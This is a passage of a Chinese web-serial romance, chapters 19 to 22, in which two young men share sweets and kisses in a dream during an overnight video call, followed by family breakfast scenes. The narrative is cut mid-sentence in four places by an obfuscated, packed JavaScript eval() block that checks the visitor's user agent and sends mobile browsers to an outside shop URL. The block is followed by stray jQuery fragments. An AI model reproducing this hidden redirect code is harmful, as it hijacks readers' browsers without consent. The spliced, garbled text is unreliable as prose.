他细细舔舐过游司梵指缝至深处,从修剪齐整的指盖到凸起的指关节,如同对待一块无瑕美玉,为之清理不应存在的异物。 哪怕是甜腻的糖浆。 “司梵。” 闻濯神色清冷,唯有眼瞳锋芒摄人。 他看着他,吻着他的手,自下而上,像古时最忠诚的骑士。 “你……好甜。” 19.舔吻嫣红的指根 游司梵指尖略微一动,微微用力,尝试把手抽出,却没成功。 闻濯的力道远比他想象中大,那双黑沉不明的眼眸幽深晦暗,握着他手的决心,也坚定异常。 似乎不想让他……如此轻易离开。 “旁边不就摆着糖吗?”游司梵轻哼一声,掩去心底现出一霎的退缩,仍然任由闻濯啄吻指间,“想吃甜的东西,哥哥又何必舍近求远。” 没有人回答他。 闻濯唇角轻轻一弯,原先凌厉的薄唇染上深吻过后的潮红与水色,夏夜山间的精怪都不及他惹眼。 好一个华贵清冷的青年,偏生愿意做游司梵裙下之臣。 唇齿尽是他胡乱留下的痕迹,突兀而显眼,仿佛是某人昭示专属权的印章。 游司梵脸颊更红几分,又隐隐生起气来。 干嘛什么话也不讲,这是吃定他无法拒绝吗? 他看着闻濯重新低下头颅,挺拔利落的鼻梁露出些微侧影,垂敛的长睫鸦羽一般,在眼眶下方投出浅淡的暗光。 青年就这么专心致志,继续用片刻前欺负游司梵的唇,舔吻被他牢牢桎梏的指尖。 姿态近乎虔诚。 “……” 好吧,他也是真拒绝不了。 游司梵泄气,杏核眼耷拉成委屈的弧度。 但他实际上沾染的糖浆并不多,不过是淅淅沥沥的零星分布,闻濯稍舔几下,很快就干净了。 到后面,几乎只是在单纯地吻。 游司梵的手越发僵硬,指骨渗出难言的麻木和酥痒,仿佛那只被捧着的手已经脱离躯壳,全然属于闻濯。 少年恒久地固定在青年的桎梏中,被迫承受过载的浪潮。 灯光昏黄,水色弥漫。 如今的一切,仅仅是序幕而已。 闻濯不容置喙,分开游司梵试图并拢的指间。 少年的手指纤长却瘦削,指腹能摸到一些半软不硬的薄茧,它们如同保护主人的最后一层盔甲,固执地挡在闻濯面前,阻拦过于亲昵的触碰。 闻濯意味不明地低笑一声,仔细吻过那些因写字和做事形成的痕迹,就轻而易举地略过。 ——转向手掌中,细嫩白皙的两指之间。 它似两座高山交夹形成的山谷,低低的凹下去,安静地存在于游司梵的手掌。 比起直面万事万物的指腹,游司梵的指根甚少感知外界,那些彼此相连的肌肤,依旧光洁滑嫩,敏感至极,对突如其来的啄吻如临大敌。 闻濯想也不想,舌面一寸一寸舔过游司梵指根所有纹路。 鼻尖甚至因此碰到对方紧绷的指背。 “哥哥——!” 无法抑制的酥痒自指骨根处猛烈泛起,游司梵实在是再难以忍耐,从舔吻开始就在积累的痒意终是盈满。 铛。 指根如同炸开一朵绚烂烟花,他浑身狠狠一颤。 明明只是在吻手而已……彼此衣服都好端端穿着……为什么,为什么…… 为什么我会颤抖? 闻濯的舔吻仍在继续。 舌尖拥有与手指截然不同的温度,它高温,滚烫,如同一块烧红的生铁,刚从红通通的铸铁炉里捞出,强势且不容置疑。 它就如此强硬地盘桓于两指的根部,叫游司梵连忽视也做不到。 他喉间唤出几声可怜的求饶:“哥哥?等等,哥,哥哥!” 游司梵惊叫一声。 闻濯绅士的伪装自然而然地破碎,终于露出暴风骤雨的内里。 他衣冠楚楚,仍旧穿着那件立领缎面衬衫,却以舌尖作为武器,掠夺游司梵指根拥有的一切。 那是一头忍耐太久的猛兽。 不顾一切,专制非常。 指根是游司梵双手交握时才会接触的部位,刻意的抚摸少之又少,肌肤何其娇嫩,连最寻常的触碰都会有异物感。 然而再娇嫩,也只是平平无奇的表肤,每日坦诚地接触空气与他人的目光。 同身体其它部位相比,其实不存在本质的不同,并未因为是指根而多出几条神经末梢。 它当真仅是手掌的组成部分罢了。 但在闻濯攻城略地似的舔舐里,游司梵就是荒谬地感觉到深至魂灵的颤意。 柔软无骨的舌面尝遍指根每一处细节,游司梵避无可避,唯有承受。 水渍,糖的甜腻,涌动的腥甜,齿关闭合又张开的轻响。 厚重粘稠的触觉,藤蔓一般若即若离的束缚。 游司梵头晕目眩,近乎要迷醉于这场潮湿且炽热的梦里。 梦境之外,衣衫不整的少年气息急促,左手紧紧攥着单薄的夏被,棉质布料团成一团,褶皱自他的指根不规则地溢出。 他好似握住自己前途未卜的命运。 X城黎明时分幽暗无光,在全然的黑暗中,游司梵纷飞的思绪和呼吸被一同掩盖。 无人目视他跌宕起伏的冲动和燥热。 唯有手机屏幕闪起一瞬。 [视频通话时长:6:23:01,6:23:02,6:23:03……] “……以上。” 闻濯结束发言,向对侧的研究员点头致意,暂时关闭会议室麦克风。 下一位与会者立时接上,继续阐述。 “闻先生提出的猜想与建议相当合理,很有参考性,我们……” 那人眉飞色舞,滔滔不绝,却正巧盖过游司梵唇齿间的低吟。 手机听筒在视频开启时无法完全静音,然而游司梵深眠的梦呓微乎其微,夹杂在长篇大论的发言里,像一粒渺茫的沙尘。 转瞬淹没,无人在意。 闻濯刚好在专心聆听会议,指关节轻叩桌面,轻微而富有韵律的节奏响起,恰是忽略屏幕里沉睡的游司梵。 一片被叠好的薄荷糖纸,正随荡起的气流稍稍震动。 嗒,嗒。 在闻濯毫无察觉的角落,夏夜的梦境轰轰烈烈,猝然攀向顶端。 梦中的游司梵指尖通红,指根尤其浓墨重彩,原本白皙细嫩的表肤变作全然成熟的红果子,水光潋滟。 至于脸颊与唇珠的红艳程度,有过之而无不及。 尽是闻濯肆意亲吻的痕迹。 游司梵强忍着羞臊,暂且空闲的手伸向一旁的模具。 先前认真浇上的糖浆,已然趋于凝固。 换言之,早就可以大快朵颐了。 ……就是因为坏东西在拖延作乱,他才直到现在都没吃上哪怕一口糖! 游司梵又羞又恼,含着水色的眼瞳漫上真切的委屈,悄悄探出的指尖刹那变得坚定。 戏弄他的坏蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823622|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须得到惩罚! 碰至半软不硬的糖面,特有的粘稠触感随之而来,缠上游司梵沁出细汗的指腹。 他竭力忽略这种甜腻的不适,指尖沿边缘旋绕一周。 咔哒。 奶白色的糖块顺利脱模。 突兀的声音响起,闻濯于游司梵手背烙下一个缠绵至极的吻后,方才悠然抬起低垂的头。 “嗯?” 他赫然对上一张艳若桃李的芙蓉面。 游司梵捻着粒不大的乳白色糖块,嫣红的唇瓣微微张开,雪白的犬齿探出一点小尖尖,将将咬上近在咫尺的糖。 那是他们一齐做的糖,闻濯认出来了。 它边缘不算完整,有磕磕绊绊的破碎缺口,估计是脱模时候粘连了些许。 然而在略显红肿的唇肉前一衬,什么缺憾都无关要紧。 糖不过是少年脸庞好颜色的衬托。 闻濯眸色沉静,一动不动地凝望游司梵。 凝望这个在边缘试探,欲擒故纵的少年。 游司梵的舌尖点过糖粒一霎,又倏然离去,好似一时兴起,在与那块无生命的糖做你追我赶的游戏。 但这仅仅是幌子。 他们心知肚明,闻濯才是被看中的猎物。 “哥哥,我嘴里有更甜的糖哦……” 游司梵倾下身子,拉近和闻濯的距离,却也依然是微微俯视的角度。 他居高临下地看着闻濯,轻轻一笑,把乳白色的糖块慢条斯理地放入口内。 少年的指尖和唇肉俱是水润的潮红,乳白色蓦然闯进其间,那些相反的色泽顿时相撞,现出极其艳丽的重叠层次。 自下而上的视角,闻濯看的尤其清楚。 青年看见那不久前被他缠绵啄吻的唇齿张开,故意将普普通通的糖舔绕一遍,从唇珠到舌尖,从犬齿到上颚。 游司梵像得到心仪的新玩具,把闻濯燥热的冲动把握于股掌之间。 “哥哥。” 少年眉眼弯弯,食指自唇边退开,拽出一道时隐时现的银丝。 那粒糖被他压在舌根,乳白色一瞬即逝。 “这块我们亲手做的奶糖……”游司梵再次压低身,双手抚上闻濯的侧脸,杏核眼中闪耀的水色潋滟动人,如同夏夜最亮的流星,“你不来尝尝吗?” 语毕,他第一次主动,深深吻上闻濯淡红的唇。 以他作为上位者的主导姿态。 闻濯几番尝试起身,都被游司梵抗拒回去。 少年捧着闻濯侧脸的指尖一紧,指甲盖亦透出用力的粉。 惹急的猫咪也会挠人,好不容易压制闻濯一回,他怎么甘心就此放弃? 游司梵心下急切,干脆把舌底的奶糖现出,舌尖一顶一推,匆匆忙忙,就把糖粒渡向闻濯口中。 一块半软不硬的奶糖,就如此轻轻叩上闻濯的齿关。 应声而开。 没有任何阻拦,奶糖长驱直入,在两根舌头缠绵深吻的交错间,它携带游司梵甜腻至极的口津,直直纳入闻濯唇齿深处。 “哥哥吃了我给的糖……” 游司梵气息紊乱,却笑着与闻濯稍稍拉开距离,眼瞳亮晶晶的,闪烁着名为骄傲的光辉。 如同一只耀武扬威的小猫。 “这局是我赢了,对不对?” 20.吃糖 他凌乱而急促的喘息拍打在闻濯唇畔,带着奶糖极尽甜腻的芬芳,比闻濯口里那块真材实料的糖,还要甜上一万倍。 游司梵莽撞而直白,对闻濯做了如此暧昧的举动,关注点竟然还是落在输赢之上。 那双灿若星辰的眼眸清澈透亮,一心一意,折映出咫尺之外的闻濯。 小小的倒影盛满少年棕黑色的瞳仁,没有丝毫阴霾,好似闻濯是他在世间唯一在意的人。 “是啊。” 自从游司梵借机收回被欺负已久的手,闻濯掌心就无可避免地空落。 他舌尖抵过犬牙根部,空无一物的手指在昏暗里紧握一刹,微微仰望游司梵的眉眼欲色翻涌。 “当然是你赢了。”闻濯的手自然而然地垂下,后撑于地面,手背青色的血管若隐若现,“这是我尝过最美味的糖。” 游司梵眼睛更亮几分,像得到一尾新鲜河鱼的狸猫,喜悦溢于言表。 这是肯定,是肯定对吧! 终于扳回一局! 游司梵忙着开心,却完全忽略掉闻濯越发低哑的语气。 被他抚着侧颊的青年没有挣脱的意图,一字一顿,缓慢道完未尽的回答。 “但是,我并不愿独享它。” 闻濯那比往常都要更红一些的唇轻轻张合,带着与游司梵亲吻后不可忽视的痕迹,吐出游司梵绝对无法拒绝的话语。 “不如我们一起把它吃掉吧,宝宝。” 尾音落下的一刻,闻濯闭上眼瞳,墨色羽扇般的长睫垂敛,稍稍昂起的如玉脸庞一动不动。 似一尊被游司梵捧起的高贵塑像,宁静温顺,可以根据猎人的心意为所欲为。 游司梵脸颊爆红。 他根本没有思考,径直吻上闻濯薄情而嫣红的唇。 匆忙且急切。 少年探出舌尖,舔吻青年看似坚硬却柔软的唇珠,他探寻恋人唇部的轮廓,细细吻过那些细密而冰冷的唇纹。 闻濯从来都不是任人宰割的软弱性子,他为何突然这么温顺,为何甘愿示弱? 游司梵不在乎。 他只在乎此时此刻,闻濯和他唇舌交缠的炽热。 吊顶小灯洒落暖黄的光晕,他们笼罩在朦胧中,周遭空气似乎也一同变作焦灼的甘甜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12841055|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人之间的距离不知从何时起,愈来愈近。 游司梵的舔吻热烈直接,孜孜不倦地探索闻濯的唇齿,全身用力的支点集中在与之相贴的唇与手。 他的身子越伏越低,几乎要黏上闻濯爆发力惊人的躯体,侧脸染遍缺氧似的红晕。 云霞一般,绮丽而魅惑。 好像要奋不顾身,彻底坠落明知有诈的深渊。 岌岌可危,摇摇欲坠。 于游司梵没有注意的角落,闻濯的食指轻轻一点地面,微弱难辨的声响隐没入那些粘稠的拉扯。 青年没有改变姿势,仅是舌面一转,将深藏底下的糖粒翻出,重新渡至游司梵口中。 堵住那条毫无章法,胡乱探索的舌。 哗——! 仿佛成为意外的伊始讯号,在含稳那块糖的瞬间,久违的极度甘甜席卷而来,像一阵无色无形的剧烈风暴,冲击游司梵本就不甚稳固的支点。 他重心一晃,捧着闻濯的面庞,两腿骤然一软,“扑通”一声双膝跪地。 ——直直跪进闻濯大腿分开的间隙。 【明天补完接下来的2k!等我】 21.零距离拥抱 寂静,一片寂静。 先前暧昧的分子无踪无影。 与闻濯健硕结实的大腿肌肉零距离接触,恒定的温热传来,游司梵含着的那粒奶糖如鲠在喉,连甜味都变得难以下咽。 一秒,两秒,三秒。 闻濯的头颅和大腿动也不动。 任凭游司梵的指尖如何触碰他,也并未捕捉到丝毫动作。 他好似对这场惊变波澜不惊,仅仅是在最初下坠时,顺着游司梵刹那增大的力道垂低一瞬。 温顺沉着,包容一切变化。 “……” 恍若死寂的沉默中,游司梵选择睁开眼睛,和闻濯面面相觑。 不慎跪地后,他又比青年矮了。 原本俯视和仰视的位置对调,游司梵微微昂起下颌,对上闻濯宛若藏着银河般深邃的眼睛。 “疼不疼?” 他清晰捕捉到对方眸中一闪而过的笑意。 戏谑的,善意的,真诚的。 闻濯分明被捧着面庞,却高高在上,占据本该由游司梵掌握的主动权,用那副冷静自持的嗓音问他怎么样。 游司梵:“……” “疼,当然疼,怎么不疼?”后槽牙衔上糖块,他把那颗辗转往复的糖咬得嘎吱响,语气阴森森的,“哥哥来试试不就知道了?” 他支起膝盖,圆润的杏眼迸发星子似的光辉,是羞恼,也是誓要扳回一城的坚定。 “以后我再也不要,”身子抬起,游司梵离胜利的果实越来越近,视线逐渐与闻濯齐平,几乎要完全站起来了,“和哥哥一起吃糖——” “——唔嗯!?” 人不能踏入同一条河流,但游司梵身体力行,将这句格言践行到底。 起身是好事,然而他忘记因为前倾而改变的重心。 在立至最高点的时候,游司梵太着急,力道过大,无意往斜前方偏上那么一丁点—— 只是分毫而已,他却蓦然失去平衡! 喀啦! 游司梵慌张失措,跌倒的刹那,后腿不小心蹬到岛台。 模具和趋于凝固的糖浆齐齐跃起一霎,连荡漾的弧度也透出欢快,像为主人们奏响的爱人曲目。 游司梵完全无法控制失衡的身躯,杏眼瞪得溜圆,直面闻濯越来越近的俊脸。 如果他是猫,那么此时躯干连同尾巴根的毛,必定全部炸起。 爪爪开花的那种。 这个短暂瞬间,拉得很远又很长。 落入闻濯怀抱的前一刻,游司梵好像看见青年唇角的笑意更深几分。 一晃而过。 咚——! 一声闷响,闻濯宽厚的脊背乍然砸向地面。 巨大的冲击力袭来,游司梵整个人倒入闻濯怀里,哪怕身下的闻濯作为肉垫子,为他卸去大半的力道,游司梵依然砸懵了。 “唔!” 跌倒震荡的余波犹在,他紧紧贴上闻濯柔软而结实的胸膛,齿间不自觉唤出一声轻哼。 身子不疼,就是脑袋晕乎乎。 闻濯用手掌抚上他的脸颊,也没反应过来,倒是条件反射地蹭蹭那温热的掌心。 “真摔疼了?”青年眸色沉下来。 游司梵舌尖顶着奶糖,神思游离,闻濯的询问在他耳中,是一曲无法解读的悠扬调子。 好听,但听不懂。 也不想仔细去理解。 闻濯搂着他平躺在地,两个人亲昵地面对面相拥,呼吸交缠。 怦,怦怦。 青年的心跳有条不紊,富有节奏的沉稳韵律坚实有力,隔着骨骼与肌肉,恒久地传达给伏于其上的游司梵。 游司梵浸入这些梦境似的温情里,像喝醉一般,蹦出几个无意义的语气词。 “嗯,嗯……好吃,糖很甜……” 答非所问,已读乱回。 闻濯脸色彻底沉下,罕见地带上一丝愠怒。 “是吗?可这难道不是宝宝亲自送给我的糖?”抚着游司梵侧脸的手指施加力气,温柔的安慰变作强势,闻濯指尖一叩,将少年的唇印向自己的唇角,“司梵……你说,我是不是亏了。” “应该讨一些利息回来?” 铺天盖地的吻重新燃起。 闻濯的舌长驱直入,轻易撬开游司梵的齿关。 游司梵压根没有阻挡,连装都没装,防御形同虚设,意思意思让闻濯舔吻唇珠两下,就红着耳尖,把人放进口腔。 闻濯轻而易举,迅速寻到那块他不久前渡来的糖。 就在游司梵左侧的颊窝。 奶糖命途多舛,被闻濯强势抵在游司梵唇齿的角落。 以极其幼嫩的内颊肉为壁,那条不讲道理的舌怒气冲冲,施了力道便磨蹭起来,仿佛糖粒是它的画笔,任它随意绘遍少年口腔所有的嫩肉。 糖在融化,甘甜的津液不断交换,游司梵甚至来不及吞咽一些漫延的甜腻,嫣红的唇角坠出些许晶莹口涎。 而闻濯还在掠夺。 舔到上颚时,融化至不规则形状的奶糖由闻濯卷着,狠狠刮过游司梵那从未接触过异物的薄肤。 难以言喻的瘙痒就此袭来。 游司梵头皮一紧,电流般怪异的酥麻自后脑而起,刹那在他脑海“砰”地炸开! 他再无法忍耐,闭紧眼睫,全身血液仿佛都瞬间集中,流去被闻濯故意欺负的上颚。 舔舐,暧昧地微旋,不规则的糖前前后后,那条霸道的舌抵过他唇齿每一处细节。 粘稠的水声不绝于耳。 游司梵不自觉攥紧闻濯的黑发,脖颈与锁骨泛上粉白的红,余下的风光无处可窥,全数隐藏于宽松的领口。 闻濯抬起长睫,注视近在咫尺的少年一眼,手上的桎梏又重几分,不容置喙,强硬地再次拉进他们相当亲密的距离。 从远处看,他们亲密无间,糖浆幽静停滞的甜味飘满整个空间,而他们一起躺于昏黄的朦胧里,深深拥抱。 共同分享同一颗奶糖。 在漫长的醺然里,游司梵似乎只能凭借糖的体积来判断时间。 它已然化成不到一毫米厚的薄片,尖利,单薄,像一柄一击即碎的刀,游司梵齿关轻轻一阖,它便应声而碎。 前提是由游司梵来掌握糖的命运。 应该吃完糖……哥哥就没理由赖着,继续欺负自己吧。 他迷迷糊糊,闪过一个念头,舌尖懒洋洋地顶了顶闻濯攻城略地的舌面,想趁机夺过糖的控制权。 但他失算了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884802|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要回你送出的礼物?”闻濯怜悯地低笑一声,眼瞳中长久以来试图克制的风暴,终于降临,“可是司梵。” “已经太晚了。” “不是我多嘴啊,闻,你也知道我们A国人最喜欢距离感,老卡佩光着身子经过我面前,我也能目不斜视。” 正式会议甫一结束,爱德华·卡佩就紧急把闻濯拉进新的私密房间。 只有他俩的那种,保密级别很高。 [视频通话时长:7:49:36,7:49:37,7:49:38……] 反扣在桌面的手机,视频时长亘古不变地持续跃动。 凌晨5:30的X城天际熹微,云层泛出近乎墨色的深蓝,即将亮起的曜日透出少许的光,斜斜照在闻濯刀刻斧凿般的侧脸。 开了通宵的重要会议,他略显疲惫,揉揉眉心,唇角的弧度无波无澜,冷冽而不近人情。 真丝深黑衬衫最上的两粒扣子一解,他看起来赫然是冷心冷情的渣男扮相。 爱德华啧啧有声。 “你那边都要天亮了吧?哦——抱歉,先生,X城的太阳似乎已经升起了。所以你不赶紧去补觉,这么晚的时间,还要和我沟通些什么机密?是项目相关?不对,刚才已经说完了,我想想……难道是热辣小野猫!” “爱德华。”闻濯忍无可忍,额角青筋一跳,打断对方过于精准的猜想,“我想邀请你为我定制一年的女式礼裙,尺码睡醒后发你。” 他不提原因,不提定制的对象,不提任何可能被爱德华发掘的细节,就此结束话题。 “今晚先这样。项目和定制的后续进度,我们邮箱或雁书沟通。” 爱德华傻眼,好像完全没料到在一个这么安全的线上房间里,闻濯只用来谈这些琐碎的事情。 然而闻濯毫不留情,干脆利落,结束这场不伦不类的“加时会议”。 他的行事如同外表一样冷冽,高不可攀。 “再见,我的朋友。” 游司梵同样感受到这场持续整夜的荒唐,在逐渐走向结束。 他又被闻濯高高抱上岛台,但与此前不同,闻濯没有再毫无创意地直接吻他。 那太单调,太庸俗。 青年别出心裁,用银勺舀起温温发凉的糖浆,执笔画画似的,细致而缓慢地浇上游司梵的小腿与足背。 宛若一株攀附其上的曼莎珠华。 闻濯亲手造就这幅短暂的作品,又亲口毁掉它。 他面向少年,单膝跪下,足够高大的身躯让他并不显得微渺,反而与上首的游司梵达成视觉平衡。 好似古典时代的油画作品。 游司梵恰好处于吊顶灯下方,小腿不安地交叠,却又被闻濯无言且强硬地分开。 暖融融的柔和灯光落于游司梵身上,像为少年披上无瑕的白纱。 闻濯就这么俯身,在宁静的沉默中,虔诚吻上游司梵足背那一点零落的糖浆。 “哥哥……!” 衣衫散乱的游司梵蓦然睁开眼睛。 这是一个阴天,乌云不断靠拢,天际凝聚的雨仿佛随时会落下。 但白昼的光亮,足以让他看清屏幕的图像。 ——睡梦中吻过千百次的青年,正在惊诧地目视他。 22.我真没有裸睡 闻濯醒来时,刚好六点半。 天色已然全亮。 他没拉遮光窗帘,一束阴沉的日光不容忽视,直直透过落地窗,正巧落在那张两米八大床的尾部。 窗外绿植繁茂,蝉鸣夹杂于山野中苍虬古树的间隙,鸟雀不知死活地叫唤,叽叽喳喳,音浪波涛汹涌。 一切都很好,欣欣向荣。 除了闻濯这位失眠受害者。 他倔强地浅寐45分钟,双手交叠,平静而悠长地深呼吸。 中央空调恒温22摄氏度,整个卧房区域温度适宜,床垫绝对符合他个人的生理曲线,所有布置都恰到好处。 没有闻静“噔噔噔噔”地来吵他,没有爱德华不死心的信息轰炸。 但是毫无作用。 姑且不说睡意,闻濯甚至越来越清醒,昨晚冲冷水澡化去的欲念还卷土重燃。 鸦羽般的黑睫闭合两下,他终于选择睁开略微干涩的眼。 一只小雀蹦来窗台,它胸前有一撮红绒,歪着脑袋,形似黑豆的小眼滴溜溜,打量面无表情的房主人。 里头这人神情冷峻,一袭暗灰色睡袍松弛地系着,胸膛的交领开作深V,轮廓分明的胸肌隐约露出大半,冷情又性感。 领口末端显山不露水,低调地现出些许腹肌的影子,他一动,那些挺括的影子便扩大几分范围。 闻濯长腿一跨,利落下床。 绣有流云图纹的系带不宽不窄,正正勾勒出他结实劲瘦的腰身。 从背后看去,闻濯宽肩窄腰,比例好得惊人,没有人会质疑他蓄藏其下的力量。 他的跟腱随步伐若隐若现,背肌层峦起伏,像一场流畅至极的戏剧。 闻濯踏着鸟雀鸣叫的余音,走入盥洗室。 只是一刹而已,周遭顿时变得寂静,理石砖墙将所有嘈杂隔阂在外。 “哗啦——” 深黑色水龙头打开,冷冽的山泉水喷涌上闻濯指尖。 他的手背青筋凸起,在水的冲刷下,显出一种不近人情的疏离。 闻濯默然片刻,掬起一捧清浅的水,把脸庞深深埋下去。 如此往复数回。 几滴水珠零落地溅起,沾湿他的鬓发,又从颌骨流至颈侧,一路蜿蜒,最后隐没于睡袍厚重的衣襟。 “呼……” 闻濯双手撑在盥洗台前,注视镜中的自己。 那个与他对望的青年眉骨深邃,眼睫和额发全湿透了,未干的水痕挂在喉结上,要掉不掉,摇摇欲坠。 通宵达旦的会议并没有削减他与生俱来的英俊,但若说这些都是寻常,那么他的眸色,竟比以往皆要晦暗。 吊顶的光不偏不倚,冷然折下,却泥牛入海,一去不复返。 如同落入没有终点的黑洞,尽数消融于那粒小小的瞳心。 昨夜莫名燃起的燥意,在隔去数十小时后的白昼,愈演愈烈。 闻濯清晰看见自己深藏瞳底的欲念。 低于体温的水流没有带走不应存在的冲动,它像冰,又像摄魂的镜子,不过是让闻濯抽离情绪,反倒更明晰地感受血液鼓动的燥热。 怦怦,怦。 心脏一刻不停地跃动。脉搏的频率宛若密集的鼓点,催促主人尽快作出回应。 他的身体在苏醒。 而他的意志……在渴望游司梵。 那位乖巧又明艳的少年,还在视频另一端熟睡,陷入重重梦境的少年。 往常晨起时的燥热是生理反应,是人体固有的机制,难以改变。 但在今天,闻濯不能骗自己。 青年低叹一声,指尖拢上流云纹腰带,轻轻一抽,随意系的衣结倏然散开,冷白色的宽厚胸肌拨云见日,一览无遗。 可惜身处暗室,无人得以观赏这具几近完美的身躯。 闻濯褪下睡袍,赤足走入浴间,清晨凛冽的山泉水倾泻而下。 他准备再冲一次澡。 哗…… 滋啦——! “好啦,小濯,鸡蛋不要煎全熟呀,我爱吃流心的,要是做成全熟,那可真是糟蹋鸡蛋了。” 别墅一楼,厨房。 闻婆婆熟稔地从罐子里抓出一把茶叶,看都不看,不要钱似的直接往茶壶里塞。 “你等会喝咖啡还是茶?要是都不喜欢,电炖盅里边还有燕窝银耳粥。” 闻濯回首看了他外婆一眼,视线于茶叶停留刹那,又移回铸铁小锅。 “滋滋……” 油脂与蛋白质混合的香气充斥整个空间,煎蛋边缘微微现出焦糖的色泽,蛋黄卧于其上,莹润可爱。 这无疑是一个Q弹完美的煎蛋,无可指摘。 但闻婆婆手中那罐看似平平无奇的茶叶,实则有市无价,一撮就能抵千百万个鸡蛋。 昨日碎掉的班章,更只是它的零头。 然而闻濯什么也没说,言语淡淡: “我喝白水。” 话音刚落,他手臂微微一震,锅面一颠,灿金流心的煎蛋灵巧地成功翻面。 闻濯仍旧穿那件睡袍,做饭的姿态游刃有余,不过是领口收敛些许,腰间束带也系得更紧,倒更衬出他挺拔高大的身形。 好一个温良恭俭让的煮夫君子,口里却道出如此棒槌的言语。 闻婆婆看着他的背影气笑了。 “你啊……小静还说你找到女朋友了?”她摇摇头,没有评价,神态显然是不信的,转而提起另一件事,“前几天下雨,屋子旁边有点积水,十几年前那条引水渠已经不够用了,还是要挑个日子,叫施工队来把它重新疏通才好。不然这雨再下大些,难免……” 她止住话尾。 老人抬起满是皱纹的眼皮,看向阴沉沉的窗外。 沉默的山也在回望她,风雨欲来。 闻濯若有所感,刚要询问什么,却见闻静神游天外,像个游魂一样飘进厨房。 “好香……好香啊哥……外婆你们在做什么,我要吃我要吃……散排被虐一晚上,哥我打游戏没有你真的不行,求带飞呜呜呜呜……啊!哥你怎么又欺负我?” 闻濯一手挡住闻静贴过来的粉毛脑袋,物理意义隔开她与煎蛋的距离后,优哉游哉,给闻婆婆点名要的溏心蛋再翻一面。 啪—— 形状完满的煎蛋从闻静眼前飞起,慢动作般在空中停滞片刻,又毫不留情,落回铸铁锅里。 不偏不倚,正中圆心。 闻静眼珠子都快瞪出来了! “外婆!外婆你看闻濯!他无视我想和他组排的要求就算了!怎么还能在食物上虐待他的亲妹妹呢?……” 闻婆婆收回给闻静倒的热茶,面色不咸不淡:“小静。” 短短二字,语气也不严厉,甚至有些温和,是好好讲道理的模样。 但闻静瞬间老实,乖乖闭嘴。 “小静,你吃完早餐就回去睡觉,不准再通宵。” 闻濯关火,将煎蛋盛在白瓷碟,递来闻婆婆面前。 他面容怡然,宛若一从修长挺拔的青竹,看不出半分彻夜未眠的倦态,与闻静肉眼可见的泄气和疲惫天差地别。 “外婆,馒头片还要再烤一会,您先吃着。”无可挑剔的体贴。 闻婆婆瞄他一眼,似乎被他蒙混过关,没有发落的意思:“行。小濯,你去给小静盛碗燕窝银耳粥。” 闻濯答好,打开橱柜,琳琅满目的各色盘子刹那迸发无数光辉。 他刚刚触上其中之一,闻婆婆再次开口。 “也给自己拿一个碗吧,小濯,补气养血的药膳,最适合你这种不要命通宵工作,完事后又不补觉的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928227|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻静耷拉的头猛然一抬,眼睛亮得像两千瓦的灯泡:“哦豁!” 闻濯指尖一僵,然而来自于外婆的审判仍未结束。 “小濯,你已经是成年人了,外婆不会对你的生活指手画脚,但既然你精力那么充沛,可以拜托你在百忙之余,帮外婆检索一下猫咪爱吃的罐头和零食吗?” 不疾不徐的语气,闻濯却几乎是落荒而逃。 等他回过神时,已经重新坐在离开不到两小时的书桌前。 那碗尚且温热的燕窝银耳粥不伦不类,固执地横于四个电脑显示屏下。 这些昂贵的顶级屏幕各显神通,分别陈列“猫的罐头&零食&玩具清单整理”“卡佩2719年女裙春夏新品”“论文list”“W城综合大学-向薛教授-2718年秋季学期实验室轮班表”等毫不相干的文档项目。 闻濯面无表情,捺下揉眉心的冲动,先将猫咪相关抄送闻婆婆邮箱。 顺便雁书告知一声。 [。]:[猫的罐头&零食&玩具清单整理.doc] [。]:发您邮箱了。 30秒后,叮铃! [闻弦歌而知雅意]:[文件已被“外婆”接收。] [闻弦歌而知雅意]:辛苦了,小濯。 [闻弦歌而知雅意]:(黄豆微笑.jpg) [闻弦歌而知雅意]:另:快喝粥,不然凉了,药膳效果适得其反。 